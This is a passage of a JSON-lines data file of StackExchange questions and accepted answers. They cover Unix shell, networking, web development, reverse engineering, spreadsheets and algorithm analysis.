you explicitly make your code threaded and do some work on different threads.I've been thinking about creating a class named DataStreamObserver on the C++ side, the DataStream constructor would take an instance of the DataStreamObserver class then call it every time a read or write operation has finished.Sure. But its not going to help your stall processes by itself." } { "id": "_unix.123773" , "question": "I want to replace any 3 or more digit string in a text file with equivalent number of *.For example: abc-1234-45 --> abc-****-45echo abc-1234-45 | sed 's/[0-9]\\{3,\\}/*/'I tried this but it only replaces it with one *.Kindly suggest a solution here." , "title": "Replacing 3 or more digits with equivalent number of *" , "tags": "regular expression" } { "id": "_unix.271848" , "question": "When I add ipv4 policy rules using ip rule add the resultant rules get added to the end of the policy table with decrementing priority from 32767eg:# ip rule add lookup 8# ip rule add lookup 90: from all lookup local32764: from all lookup 932765: from all lookup 832766: from all lookup main32767: from all lookup defaultBut when I use the same command for ipv6 ip -6 rule I get priority duplication.eg:# ip -6 rule add lookup 8# ip -6 rule add lookup 90: from all lookup local16383: from all lookup 816383: from all lookup 932766: from all lookup main16383 is 32766/2. But I don't understand why the behaviour is different and why there is priority duplication. I am using Fedora 21. Version of iproute is: iproute-3.16.0-3.fc21.x86_64. Is this the intended behaviour for ipv6 policy routing using iproute2?Can anyone else confirm this behaviour on other systems?" , "title": "ipv6 rule priority duplication" , "tags": "networking;routing;ipv6" } { "id": "_unix.204822" , "question": "I wanted to print some text between two patterns which doesn't contain a particular wordinput text isHEADER asdf asd asd COW assdTAIL sdfsdfsHEADER asdf asdsdfsd DOG sdfsdfsdfTAIL sdfsdfsHEADER asdf asdsdfsd MONKEY sdfsdfsdfTAIL sdfsdfsoutput needed isHEADER asdf asdasd COW assdTAIL sdfsdfsHEADER asdf asdsdfsd MONKEY sdfsdfsdfTAIL sdfsdfsconceptually something like this is neededawk '/HEADER/,!/DOG/,TAIL' text Kindly help " , "title": "Print text between two patterns not containing a particular word" , "tags": "text processing;sed;awk;text" } { "id": "_webmaster.92872" , "question": "Is there a term for the moment when a lot of users visit/log onto your website at the same time?" , "title": "Is there a term for the moment when a lot of users visit/log onto your website at the same time?" , "tags": "terminology" } { "id": "_softwareengineering.310377" , "question": "Scenario: I'm working in an Agile environment. The dev environment has not been configured yet, and I'm told to code a piece of an application.I code the module and write appropriate unit tests for it as part of the coding task, and test the code offline in my own box. There is also a testing task that needs to be performed by a non-technical testing person.Questions: At this point can I claim that I'm done with coding, since I haven't really tested my code even in the dev environment? Can I move my development task to DONE, or do I need to move it to BLOCKED due to the lack of an environment? " , "title": "I'm done with my coding from Agile perspective" , "tags": "testing;agile;coding" , "accepted_answer": "Only your team can decide whether you've reached your definition of DONE.If this were my team I would be tempted to declare the task as BLOCKED but, maybe I don't have all the information. Maybe your scenario is unique somehow and your task can be considered finished.My point is that we don't know enough about your team, project, infrastructure, office politics, etc, to give you a meaningful answer.That's why teams typically make their own Definition of Done that best meets their needs." } { "id": "_unix.74423" , "question": "gentoo, kernel 3.7.10samba 3.6.12SMB/CIFS server: Windows Server 2003 3790 Service Pack 2I've encountered the situation when mount.cifs behaves differently from smbclient program.The following command works fine. I can log in the server and navigate through the share's contents.smbclient -U domainname/username //server.name/sharenameAnd if I try to mount this very share folder with the following command,mount -t cifs //server.name/sharename /mount/point -o user=domainname/usernamethen the command itself works fine (return code is 0, no error message). But /mount/point looks empty.What's the problem? Why mound.cifs and smbclient behave differently? Maybe smbclient uses some hidden settings?BTW, I don't know whether it is relevant to the problem but anyway. If I run mount.cifs command several times, I don't get any folder already mounted kind of message. Though afterwards I can run umount the same number of times until I get error umount: /mount/point/: not mounted" , "title": "Why could mount.cifs mount an empty folder?" , "tags": "linux;mount;samba;cifs" , "accepted_answer": "Finally I've solved the problem. Thanks to Wireshark.From the Wireshark's logs I saw that when smbclient did its job then the peers exchanged GET_DFS_REFERRAL subcommands. But these messages were absent when I tried to mount the share with mount.cifs.It seems the server uses Distributed File System facilities so I tried to add the support of DFS to the kernel and that made the trick. Now I can perfectly navigate, read and write in my mounted share.Actually I thought that smbclient and mount.cifs used the same low-level instruments to connect to the SMB/CIFS servers but it isn't so. It looks like Samba can handle DFS itself without support of the kernel." } { "id": "_softwareengineering.328784" , "question": "We plan to refactor our company system into a micro-service based system. This micro-services will be used by our own internal company applications and by 3rd party partners if needed. One for booking, one for products etc.We are unsure how to handle roles and scopes. The idea is to create 3 basic user roles such as Admins, Agents and End-Users and let the consumer apps to fine-tune scopes if needed.Admins can create, update, read and delete allresources by default (for their company). Agents can create, update and read data for their company. End-Users can create, update, delete and read data, but cannot access same endpoints as agents or admins. They will also be able to create or modify data, just not on a same level as agents or admins. For example, end users can update or read their account info, same as agent will be able to do it for them, but they can't see or update admin notes.Let's say that agents by default can create, read and update each resource for their company and that is their maximum scope which can be requested for their token/session, but developers of client (API consumer) application have decided that one of their agents can read and create only certain resources.Is it a better practice to handle this in our internal security, and let them write that data in our database, or let clients handle that internally by requesting a token with lesser scope, and let them write which agent will have which scope in their database? This way we would have to track only token scopes.The downside of this, is that our team would also need to create fine-tuned access mechanisms in our internal applications.With this way of thinking, micro-services and their authorization system should not be bothered with clients needs, because they are only consumers and not part of the system (even though some of those consumers are our own internal apps)?Is this delegation a good approach? " , "title": "Authorization and authentication system for microservices and consumers" , "tags": "security;authentication;microservices;authorization" , "accepted_answer": "Authentication and authorization are always good topicsI will try to explain you how we deal with authorizations in the current multi-tenant service that I am working. The authentication and authorization is token based, using the JSON Web Token open standar. The service exposes a REST API that any kind of client (web, mobile and desktop applications) can access. When a user is sucessfully authenticated the service provides an access token that must be send on each request to the server.So let me introduce some concepts we use based on how we perceive and treat data on the server aplication.Resource: It is any unit or group of data that a client can access through the service. To all the resources that we want to be controlled we assign a single name. For instance, having the next endpoint rules we can name then as follow:product/products/products/:idpayment/payments//payments/:idorder/orders/orders/:id/orders/:id/products/orders/:id/products/:idSo let's say that so far we have three resources in our service; product, payment and order.Action: Any kind of action that can be performed on a resource, like, read, create, update, delete, etc. It is not neccesary to be just the classic CRUD actions, you can have an action named follow, for instance, if you want to expose a service that propagates some kind of information using websokets.Ability: The ability to perform an action on a resource. For instance; read products, create products, etc. It is basically just an resource/action pair. But you can add a name and description to it too.Role: A set of abilities that a user can own. For example, a role Cashier could have the abilities read payment, create payment or a role Seller can have the abilities read product, read order, update order, delete order.Finally, an user can have various roles assigned to him.ExplanationAs I say above, we use JSON Web Token and with a custom property in the payload data, the roles that a user can own is declared. So, let suppose that we have a user can can have the roles of a cashier and seller at the same time, for a small retail store for instance. The payload will look like this:{ scopes: { payment: [read, create], order: [read, create, update, delete] }}As you can see, in the scope property, we don't specify the name of the roles (cashier, seller), just the resources and the actions that are implicated. When a client sends a request to an endpoint, the service should check if the access token contains the resource and action required. For example, a GET request to the endpoint /payments/88 will be successful, but a DELETE request to the same endpoint must fail.How to group and name the resources and how to define and name the actions and abilities will be a decision made by the developers.What are the roles and what abilities will have those roles, will be a decision of the customers.Of course, you must add extra properties to de payload in order to identify the user and the customer (tenant) that issued the token.{ scopes: { ... }, tenant: acme, user:coyote}With this method, you can fine tune the access of any user account to your service. And the most important, you don't have to create various predefined and static roles, like Admin, Agents and End-Users as you point out in your question. A Super User will be an user that owns a role with all the resources and actions of the service assigned to it.Now, What if we had 100 resources?, and we want a role that gives access to all or almost all of them?. Our token payload would be huge. That is solved by nesting the resources and just adding the parent resource in the access token scope.I have to say that english is not my native language, so I hope you understand my answer. Authorization is a complicated topic that must be addressed depending on the needs of each application." } { "id": "_webmaster.104480" , "question": "What affect does it make at page ranking if i link other websites to my website as my clients, like people i have worked for and i will place a link with their logo. Does it harm the ranking because every link will not be doing the same work that i do.Example.com (Doing web development work)example1.com (Food Business)example2.com (Travel Agent)example3.com (Real Estate Company)what if i link the above 3 links to example.comQ1. Will example.com get boost in ranking.?Q2. Will example.com get bad impresssion on google.?" , "title": "Linking other websites to my website for seo boost but they did not do the same business" , "tags": "seo;google search;links;link building" , "accepted_answer": "Unrelated or off-topic niche backlinks can damage your sites reputation unless they can be associated with one another through a brand or trading name.For example:Stack ExchangeStack OverflowPro WebmastersDixons RetailPC WorldCurrysKnowhowDixons travelDSGi Business One or two off topic links isn't going to do a great deal in terms of being punished by Google or Bing but they are unlikely going to help either. You should only want to link in and from such websites if they are directly associated with one another because it helps promote the brand.If ever in doubt... always use rel=nofollow on your links." } { "id": "_unix.353814" , "question": "I have several files whose names aren't correct:$ lsdevoirNote1_1_2.R devoirNote1_1_5.R devoirNote1_4_1.RdevoirNote1_1_3.R devoirNote1_1.R devoirNote1.RdevoirNote1_1_4.R devoirNote1_2_1.R example140.RI want to change all devoirNote1_i_j.R with the i and j integers except devoirNote1_4_1.R to devoirNote1_{i+1}_j.R (only devoirNote1_4_1.R is left unchanged).I thought of using the command mvlike mv devoirNote1_*_2.R devoirNote1_2_2.R but when several files match (for example if both devoirNote1_1_2.R and devoirNote1_3_2.R are present), it creates an issue.Therefore, how to create a script or a command line that renames my files, by incrementing one of the variables in the filenames, but not all of them?" , "title": "How to create a script or a command line that increment the variable part of the name of my files but some of them?" , "tags": "command line;scripting;rename;filenames;variable" } { "id": "_codereview.169830" , "question": "I wrote a function to create one of those CSS triangle blocks and insert it right after one of the already created blocks. function createArrow() { var arrowDown = { parent: document.querySelector('.landingItem'), div: document.createElement('div'), initDiv: function() { this.div.classList.add('arrow-down'); this.div.style.borderLeftWidth = parseInt(document.documentElement.clientWidth)/2 + 'px'; this.div.style.borderRightWidth = parseInt(document.documentElement.clientWidth)/2 + 'px'; this.parent.appendChild(this.div); }, checkDiv: function () { if(this.parent.querySelector('.arrow-down')) { this.parent.removeChild(this.parent.querySelector('.arrow-down')); } this.initDiv(); } }; arrowDown.checkDiv();}createArrow();window.addEventListener('resize', createArrow);.arrow-down { margin-top: -2px; border-top: 60px solid #501a70; border-left: 160px solid transparent; border-right: 160px solid transparent;}
What can I improve?" , "title": "Create a triangle arrow block dynamically" , "tags": "javascript;css" } { "id": "_unix.87543" , "question": "Currently I'm running a FreeBSD 9.1 and the default gateway is already configured in the rc.conf.rc.conf:defaultrouter = 10.0.0.1But now I want to change the default gateway without rebooting the system, is this possible?" , "title": "How can I change the default gateway?" , "tags": "routing;freebsd" , "accepted_answer": "route del defaultroute add default 1.2.3.4Where 1.2.3.4 is the new gateway. You can even concatenate them onto the same line with a ;Edit: This is FreeBSD, not Linux. The command is different. Please do not edit this Answer if you haven't read the Question carefully enough to determine the operating system being used." } { "id": "_unix.175993" , "question": "I have to compare two files, file1 and file2. Each file has 56 columns separated by |.First column is the employee number in the file, I will check whether same employee number is present in the second file or not. If not we will write the whole row to the output file. If same employee number is present in the file2, I need to compare value of each column. If data doesn't match, we have to write it to the output file. If values of each column match then we need to omit that record.Sample FileFile 12620|256034|131021|Mission Quality and Wipro Way|||2622|256034|131021|Mission Quality and Wipro Way|||2623|256034|131021|Mission Quality and Wipro Way|||File 22620|256034|234567|Mission Quality and Wipro Way|||2621|256034|131021|Mission Quality and Wipro Way|||2622|256034|131021|Mission Quality|||2623|256034|131021|Mission Quality and Wipro Way|||Sample Output:2620|256034|131021|Mission Quality and Wipro Way|||2621|256034|131021|Mission Quality and Wipro Way|||2622|256034|131021|Mission Quality|||" , "title": "Comparing two files in unix and awk" , "tags": "awk;diff;file comparison" } { "id": "_unix.312384" , "question": "I bought an USBASP 2.0 programmer and hooked it up, I cannot see any port created by the programmer. What I expect is USBtty0 in /devTo fix it I have restarted UDEV and tried other UDEV configurations but it doesn't show.unameLinux Puc 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/LinuxlsusbBus 003 Device 092: ID 16c0:05dc Van Ooijen Technische Informatica shared ID for use with libusbdmesg[181622.326920] usb 3-5: new low-speed USB device number 92 using xhci_hcd[181622.460268] usb 3-5: New USB device found, idVendor=16c0, idProduct=05dc[181622.460270] usb 3-5: New USB device strings: Mfr=1, Product=2, SerialNumber=0[181622.460271] usb 3-5: Product: USBasp[181622.460272] usb 3-5: Manufacturer: www.fischl.deudev ruleSUBSYSTEMS==usb, ENV{DEVTYPE}==usb_device, ATTRS{idVendor}==16c0, ATTRS{idProduct}==05dc, MODE=0666this device: http://www.fischl.de/usbasp/[EDIT] Using this command from the arduino/hardware/tools/avr directory, the connection works, just not from within the Arduino IDE../bin/avrdude -C etc/avrdude.conf -c usbasp -P usb -p m328pavrdude: warning: cannot set sck period. please check for usbasp firmware update.avrdude: AVR device initialized and ready to accept instructionsReading | ################################################## | 100% 0.00savrdude: Device signature = 0x1e950favrdude: safemode: Fuses OK (H:05, E:DF, L:FF)avrdude done. Thank you." , "title": "USBasp not creating ttyUSB0" , "tags": "udev;ttyusb" , "accepted_answer": "I don't think it's supposed to.If I remember correctly, USBasp works with custom control transfers, and e.g. avrdude looks it up from /dev/bus/usb by the vendor and product IDs and ID strings.With avrdude, something like this should work, or complain that it can't find a USB device with the correct IDs:avrdude -P usb -c usbasp -p $UCAlso, since USBasp works with software-implemented USB, it's limited to low-speed operation, which in principle means that it can't work as a serial port:The USB CDC class is intended for modems and other communication devices. [...] CDC requires bulk endpoints which are forbidden for low speed devices by the USB specification. (quote from the V-USB wiki)" } { "id": "_webapps.43386" , "question": "I am trying In Google Drive, how can you link directly to Download a zip file and not view the contents? but it does not work. I am not sure on how to repeat the question. It downloads a 'file is too big to be antivirus scanned' warning HTML and when I try https://drive.google.com/uc?export=download&confirm=no_antivirus&id= it still downloads that.Edit: I tried to wget --save-cookies /tmp/cookie.txt --load-cookies /tmp/cookie.txt and repeat it, still no dice." , "title": "Google Drive direct download for big files" , "tags": "google drive" , "accepted_answer": "A cookie must match the confirm url parameter, and it is changed on each call.Here's a perl script to download these files in an unattended way.With the url from the antivirus scan warning page (https://drive.google.com/uc?export=download&confirm=s5vl&id=XXX) this code should be enough:#!/usr/bin/perluse strict;my $TEMP='/tmp';my $COMMAND;my $confirm;sub execute_command();my $URL=shift;my $FILENAME=shift;$FILENAME='gdown' if $FILENAME eq '';execute_command();if (-s $FILENAME < 100000) { # only if file isn't the download yet open fFILENAME, '<', $FILENAME; foreach () { if (/confirm=([^;&]+)/) { $confirm=$1; last; } } close fFILENAME; $URL=~s/confirm=([^;&]+)/confirm=$confirm/; execute_command(); }sub execute_command() { $COMMAND=wget --no-check-certificate --load-cookie $TEMP/cookie.txt --save-cookie $TEMP/cookie.txt \\$URL\\; $COMMAND.= -O \\$FILENAME\\ if $FILENAME ne ''; `$COMMAND`; return 1; }" } { "id": "_unix.219991" , "question": "I have parent folder and inside this folder I have 4 files ParentFolder File1.txt File2.txt File3.txt File4.txtI wanted to create subfolders inside the parent folder and carry the name of the files then move every file inside the folder that carry it is name like:ParentFolder File1 File1.txt File2 File2.txt File3 File3.txt File4 File4.txtHow can I do that in batch or tsch script?I tried this script:#!/bin/bashin=path_to_my_parentFolderfor i in $(cat ${in}/all.txt); docd ${in}/${i} ls > files.txtfor ii in $(cat files.txt); domkdir ${ii}mv ${ii} ${in}/${i}/${ii} done done" , "title": "How do I create a directory for every file in a parent directory" , "tags": "bash;shell script;files;tcsh" , "accepted_answer": "You're overcomplicating this. I don't understand what you're trying to do with all.txt. To enumerate the files in a directory, don't call ls: that's more complex and doesn't work reliably anyway. Use a wildcard pattern.To strip the extension (.txt) at the end of the file name, use the suffix stripping feature of variable substitution.Always put double quotes around variable substitutions.cd ParentFolderfor x in ./*.txt; do mkdir ${x%.*} && mv $x ${x%.*}done" } { "id": "_softwareengineering.345694" , "question": "I'm trying to build a Java application that connects to a remote database that stores and retrieves video files that can be over 200MB. I could store/retrieve these files in MySQL directly as LONGBLOBs, yet I read again and again how that's bad practice for various reasons. One solution commonly offered is to store the files on the filesystem and have the database store the location file and serve it up from the server directly.My problem is, I'm very new to storage and am completely unsure of how to go about doing that. Should I make an FTP connection to the front end once a video file has been requested, then deliver that video over that connection? Or are people usually talking about something else when they say to pull it from the filesystem?I'm using Java and JDBC to make calls to MySQL." , "title": "How to properly serve large video files stored outside a MySQL database" , "tags": "java;database;sql;jdbc" } { "id": "_softwareengineering.343939" , "question": "I am working on a networking project. Where I am creating a dashboard to view real time status (CPU/memory usage, up/down traffic and few others) of multiple routers by calling API request to server which will call another API request to the routers ( Mikrotik Routers, they offer api to do configuration and get statuses ).Problem: In testing each request surge my VPS CPU usage up to 20%. This is only one user viewing the dashboard and doing request. What if I have multiple customers and each one of them viewing the dashboard and doing multiple request to the servers. It is going to go down for sure, right?Here is part of back end code:$routers = //Get all the routers belong to that usersforeach($routers as $router){ $api = connectRouter(); if($api === false){ continue; } $api->write('/ip/hotspot/user/getall'); $users = $api->read(); $api->write('/ip/hotspot/active/getall'); $actives = $api->read(); $resources = $api->comm('/system/resource/print'); $resources = $resources[0]; $api->write('/interface/getall'); $router->interfaces = $api->read();} Question: What option do I have to reduce the CPU usage and be able to provide this services to multiple customers?Up to what I had researched:I should try Node.js ? Change ways I am calling from front end: instead of calling API to getting all routers data at once, change it to get one by one?NOTE1. Those values in routers change every second (if not millisecond). I want to get value in real time as much as possible. So caching is not a solution here I think.Every users have their own set of routers. They don't share routers. So doing some duplicate router query check won't be a benefit I think. ( Yeah can be useful if the same logged in user trying to view on multiple devices or browser tabs. ) But I am trying to optimize for multiple users." , "title": "Realtime frontend dashboard, calling api every 3 seconds, reduce cpu loads" , "tags": "design patterns;web development;api;api design;node.js" } { "id": "_softwareengineering.327763" , "question": "Programming is complex. And throughout the years new technologies emerge that lay/depend upon older technologies, resulting in the need for deeper knowledge in a broad set of technologies in order to achieve a single goal.One example of that affirmation could be the web development scenario. Once only what was needed was HTML marking. Nowadays a single web application may depend on many languages, technologies and frameworks.So, considering the tendency it is presumable that the traditional way of programming computers will reach a bottleneck on the next few decades.How is this problem supposed to be worked out if (or when) binary computers hit the bottleneck?" , "title": "How are academics planning to solve the bottlenecks of binary computer's programming in the upcoming years?" , "tags": "future proof" , "accepted_answer": "HTML still works just as well as it did before. Nothing requires you to get fancy except competition to make the best stuff.HTML is a domain specific language. It solves structural problems well. It doesn't solve behavioral problems well. If it did it would look a lot different and likely be harder to use.General purpose languages like c# can do either but with that power comes a wide vocabulary and syntax to master.Adding more domain specific languages, CSS, Xml, Json, SQL, does not send us to a bottleneck. It puts more easy to use tools in your toolbox. If you'd rather stick with one general purpose tool you can but since it was designed to be suitable for every job it's more like a Swiss Army knife. It can do every job. It's just equally difficult to use for every job.The downside of the domain specific language approach is you need to master an ever growing number of disparate tools. The downside of the general purpose language approach is while you can stick to one complex language you need to master an ever growing number of library's, which are also just tools.Neither approach leads to a bottleneck. As we develop more tools we'll discard less useful tools. " } { "id": "_webmaster.54645" , "question": "So we wish to host some pages on a new server with apache2, and embed some of our old content & functionality from another server with lighttpd in an iframe. I'm looking at this configuration from the apache docs (http://httpd.apache.org/docs/2.2/vhosts/examples.html#page-header) under Using Virtual_host and mod_proxy together. ProxyPreserveHost On ProxyPass / http://192.168.111.2/ ProxyPassReverse / http://192.168.111.2/ ServerName hostname.example.comThe only issue is that I want to proxy only on a subdomain, or even better, if I can keep the top domain and proxy only if the url contains a particular path ie. /myprocess.php. So in essence the DNS will point to the apache2 as the master router." , "title": "Serve most of a domain with Apache, but use mod_proxy to serve some URLs from Lighttpd" , "tags": "apache;apache2;iframe;lighttpd" } { "id": "_unix.147730" , "question": "From my understanding, all IP addresses of the form 127.x.y.z are loopback addresses. Now that seems to be quite a waste to me; indeed, already more than one address seems like a waste.Is there any use in having so many loopback addresses?" , "title": "Why are there so many loopback addresses?" , "tags": "networking" , "accepted_answer": "Some reasons I've found:Historical limitation: there is no MASK in the first implementation of tcpip, that means network nodes use the first number to distinguish network size and host ID. moreover, since class A is determined by its first octet, the higher-order bit is 0, so 127.x.x.x (01111111.x.x.x) is the latest segement of class A addresses. people often use all zero or all one numbers for special usages, reserving a class A segment is for maximum flexibility.Easy implementation: as what i say above, there was no MASK concept in early days, segment address 01111111.00000000.00000000.00000000 is easy to be determined by AND/XOR operations quickly and easily. even nowadays, such pattern is still easy for matching subnets by applying XOR operation.Reserved for future use: class A has 1,677,216 hosts, so it allows people have more space to divide it into a lot of reasonable zones for specific usages, different devices, systems and applications.Extracted from here" } { "id": "_unix.330370" , "question": "Both LFS and CLFS apply patches to the GCC source before building.The CLFS patches are a bit more involved than the LFS patches, but what they have in common is the changing of the path used to find the dynamic linker. In this case its moved to the location where a new version of glibc is going to be built.Since, at least in the case of CLFS, you are building a cross toolchain and presumably you cannot run anything built with this chain on your build machine, what difference does it make where GCC has programs look for the dynamic linker. Isn't that a runtime operation which is never going to happen anyway? Also, if you built a binary with this GCC, one which required shared libraries, and attempted to run it on your target wouldn't the path to the dyanmic linker now be wrong?Additionally (C)LFS has you modify the STANDARD_STARTFILE_PREFIX_X to point to $INSTALL_PATH/tools/lib/. Wouldn't those paths presumably be checked when/if you specifiy --with-sysroot? After building GCC with --with-sysroot if I check --preint-search-dirs I don't see it looking in any paths besides ones referenced to either prefix or --with-sysroot." , "title": "Why LFS and CLFS change the path used to find the dynamic linker?" , "tags": "gcc;lfs" } { "id": "_unix.108589" , "question": "There's a neat Control-L hotkey in Emacs that repetitively moves the cursor to the top/middle/bottom of the screen. I'm quite sure there's a vim equivalent for that, but I couldn't find it." , "title": "Emacs's vim equivalent" , "tags": "vim;keyboard shortcuts" } { "id": "_reverseengineering.13011" , "question": "In the following code, I injected my own instructions to modify third param of sprintf() function, but the process stopped at EXC_BAD_INSTRUCTION. Can anybody tell me what happened in my code?0x144502 <+6>: movw r0, #0xc70 ; injected code start here0x144506 <+10>: movt r0, #0x8bb30x14450a <+14>: movw r3, #0x5760x14450e <+18>: ldr r1, [r7]0x144510 <+20>: movs r5, #0x1a0x144512 <+22>: add r5, pc ; next instruction will jump over 9 instructions0x144514 <+24>: bx r5 ; pc = 0x00144514 ; r5 = 0x001445300x144516 <+26>: ldr r1, [r0]0x144518 <+28>: ldr r0, [r2]0x14451a <+30>: blx 0x29111c0x14451e <+34>: movw r1, #0x64420x144522 <+38>: movt r1, #0x180x144526 <+42>: add r1, pc0x144528 <+44>: ldr r1, [r1]0x14452a <+46>: blx 0x29111c0x14452e <+50>: mov r3, r10x144530 <+52>: movw r1, #0x66a4 ; bx r5 landed here. But r1 has not been loaded0x144534 <+56>: movt r1, #0x15 ; with new value. Why?0x144538 <+60>: mov r2, r00x14453a <+62>: add r1, pc ; this instruction never get called0x14453c <+64>: mov r0, r4 ; EXC_BAD_INSTRUCTION raised here0x14453e <+66>: blx __sprintf" , "title": "Injected instructions hit `bad instruction` exception" , "tags": "assembly;arm" , "accepted_answer": "Looks like you forgot to set bit 0 of the destination address so the CPU switched to ARM mode and tried to execute Thumb instructions as ARM." } { "id": "_codereview.145220" , "question": "I wrote a node script to traverse a folder of hour-long mp3s and upload them to Mixcloud via their API. It works, but I suspect it's fairly inefficient - the computer it's going to run on at our radio station is an old white Macbook. Would appreciate any insight for how to improve it. const restler = require('restler'); const fs = require('fs'); const readDir = require('readdir'); const powerOff = require('power-off'); const options = { folder: 'files', completefolder: 'complete', accesstoken: 'xxxxxxxxx' } // shut down computer const shutDown = () => {powerOff((err, stderr, stdout) => { if(!err && !stderr) { console.log(stdout); } }) }; // uploadFile uploads file with restler to mixcloud, if api returns rate limiting object, try again in x seconds const uploadFile = (folder, filename) => { const filepath = `./${folder}/${filename}` fs.stat(`./${folder}/${filename}`, function(err, stats) { const size = stats.size; restler.post(`https://api.mixcloud.com/upload/?access_token=${options.accesstoken}`, { multipart: true, data: { mp3: restler.file(`./${folder}/${filename}`, null, size, null, 'audio/mpeg'), name: filename, // unlisted: true // more data can be added here depending on changes in workflow, automate images etc } }).on(complete, function(data) { const returned = JSON.parse(data); if (returned.error) { if (returned.error.type == RateLimitException) { // try again in x seconds console.log(`uploading too fast, retrying upload of ${filename}after ${returned.error.retry_after} seconds`); setTimeout(() => uploadFile(folder, filename), returned.error.retry_after*1000); } else { console.log('non-rate-limiting error'); console.log(returned); } } else { console.log('Success!'); console.log(returned); // move uploaded files into completed folder fs.rename(`./${folder}/${filename}`, `./${options.completefolder}/${filename}`, (err) => { if (err) { console.log(err) } else { counter += 1; console.log(counter); if (counter === files.length) { console.log('done'); shutDown(); } } }) } }); }); }; // get all mp3s and upload all of them const files = readDir.readSync(`./${options.folder}`, ['**.mp3'] ); let counter = 0; for (var i = 0; i < files.length; i++) { uploadFile(options.folder, files[i]) };" , "title": "Uploading series of large files to API via Node" , "tags": "javascript;node.js;api;ecmascript 6;network file transfer" } { "id": "_cs.47799" , "question": "I am stuck by analyzing the time complexity of the following algorithm:def fun (r, k, d, p): if d > p: return r if d = 0 and p = 0: r <- r + k return r if d > 0: fun (r, k + 1, d - 1, p) if p > 0: fun (r, k - 1, d, p - 1)The root call will be fun (0, 0, n, n), and n is the size of the problem. I guess that: The recurrence relation is $ T(n, n) = T(n-1, n) + T(n, n-1)$, which is equivalent to $T(2n) = 2T(2n-1) \\iff T(m) = 2T(m - 1)$, and so $O(2^m) \\iff O(4^n)$.Is my analysis correct (I know it's not very complete and exact)? If it does have serious flaw, please point it out or show me a correct and complete proof on the time complexity of this algorithm." , "title": "What's the time complexity of this algorithm? And Why?" , "tags": "algorithm analysis;runtime analysis" , "accepted_answer": "The only two arguments relevant to asymptotic analysis are $d$ and $p$. These arguments (virtually) satisfy $d,p \\geq 0$ and $d \\leq p$ (we need to shuffle the logic in the function slightly to get this). At each point in the execution, you take the current pair $(d,p)$ and then recursively call the function with the pairs $(d-1,p),(d,p-1)$, avoiding pairs which invalidate the constraints stated above.We can picture the resulting call tree as a path starting at $(0,0)$. Each time you decrease $p$, add a / step. Each time you decrease $d$, add a \\ step. The condition $d \\leq p$ guarantees that you never go below the X axis. Moreover, you have a budget of $n$ of each step. The total number of leaves in this call tree is exactly the Catalan number $\\binom{2n}{n}/(n+1) = \\Theta(4^n/n^{3/2})$, and this gives us a lower bound on the running time of the function.To get an upper bound, note that on the way to each leaf we pass through $2n$ nodes, and this gives an upper bound $2n$ larger than the lower bound, i.e., $\\Theta(4^n/\\sqrt{n})$.We have a lower bound of $\\Omega(4^n/n^{3/2})$ and an upper bound on $O(4^n/\\sqrt{n})$. What are the exact asymptotics? They grow like the total number of paths not crossing the X axis which have at most $n$ steps in each direction. Using Bertrand's ballot theorem we can get an exact expression for this:$$\\sum_{0 \\leq d \\leq p \\leq n} \\frac{p-d+1}{p+1} \\binom{p+d}{p}.$$It thus remains to estimate this sum asymptotically:$$\\sum_{0 \\leq d \\leq p \\leq n} \\binom{p+d}{p} - \\sum_{0 \\leq d \\leq p \\leq n} \\frac{d}{p+1} \\binom{p+d}{d} = \\\\\\sum_{0 \\leq d \\leq p \\leq n} \\binom{p+d}{p} - \\sum_{0 \\leq d \\leq p \\leq n} \\binom{p+d}{p+1} = \\\\\\sum_{p=0}^n \\binom{2p+1}{p+1} - \\sum_{p=0}^n \\binom{2p+1}{p+2} = \\\\\\sum_{p=0}^n \\frac{1}{p+1} \\binom{2p+2}{p} = \\Theta\\left(\\sum_{p=0}^n \\frac{4^p}{p^{3/2}}\\right) =\\Theta\\left(\\frac{4^n}{n^{3/2}}\\right).$$" } { "id": "_vi.8893" , "question": "Let's say I have a text file opened in vim. I'd like to be able to edit this file from bash, let's say with the command echo text >> file while the file is already opened in vim. Ideally, vim would just refresh the new content and wouldn't bother with a .swp file, asking for what version I want to restore. Any idea how to do this?" , "title": "How to allow editing of a file from other sources while it's already open in vim?" , "tags": "swap file" } { "id": "_webapps.69778" , "question": "Is it possible to write an Array Formula which calculates the running average of the Amount column for each of the Name groups in the following sheet? The rows are sorted by Name. In Column C, I have an Array Formula:(=ArrayFormula(IF(LEN(B2:B),SUMIF(ROW(B2:B),<=&ROW(B2:B),B2:B)/COUNTIF(ROW(B2:B),<=&ROW(B2:B)),))) which calculates a running average of the entire Amount column regardless of Name group but I would like a formula which would restart the running average each time the Name changes. The results of my formula (many thanks to prior answers from AdamL) are in column C and the desired result is shown in column D:NAME AMOUNT RUN AVE DESIREDTom 3 3 3Tom 7 5 5Tom 8 6 6Tom 2 5 5Bill 10 6 10Bill 0 5 5Thank you for any suggestions." , "title": "ArrayFormula to compute Running Average for groups of rows" , "tags": "google spreadsheets;formulas" , "accepted_answer": "For a conditional running average, assuming all entries in A2:A are grouped:=ArrayFormula(IFERROR((SUMIF(ROW(A2:A),<=&ROW(A2:A),B2:B)-HLOOKUP(0,SUMIF(ROW(A2:A),<&ROW(A2:A),B2:B),MATCH(A2:A,A2:A,0),0))/(ROW(A2:A)-MATCH(A2:A,A2:A,0)-ROW(A2)+2)))Before the update to the newest version of Sheets a number of months ago, it would have generally been advised to use MMULT for these sort of conditional running total problems:=ArrayFormula(IF(LEN(A2:A),MMULT((ROW(A2:A)>=TRANSPOSE(ROW(A2:A)))*(A2:A=TRANSPOSE(A2:A)),--B2:B)/MMULT((ROW(A2:A)>=TRANSPOSE(ROW(A2:A)))*(A2:A=TRANSPOSE(A2:A)),SIGN(ROW(A2:A))),))This solution also has the added benefit that the A2:A column needn't be grouped, nor sorted. However, in the newest version, the MMULT solution will break when the referenced range reaches 3163 rows. It appears to be because the 2D array formed by MMULT will tip over 10 million elements (square root of 10 million = 3162.278...).The first solution shouldn't suffer this limitation, however it will probably still get very slow when referencing a few thousand rows." } { "id": "_cs.55237" , "question": "Let $R = \\{1, \\ldots, n\\}$ and $S = \\{S_1, \\ldots, S_m\\}$ a collection of subsets of $R$ such that $R = \\bigcup_{i = 1}^m S_i$ and, for $n > 3$, $$3 \\leq \\vert S_i \\vert \\leq 4 \\, , \\enspace i \\in \\{1, \\ldots, m\\} \\, .$$Then, I want to know the subsetor subsets, since there may be more than one valid solution$T$ with minimum cardinality such that every $S_i$ has at least one element in $T$. I suspect this is an NP-hard problem (or NP-complete in its decision version), but I 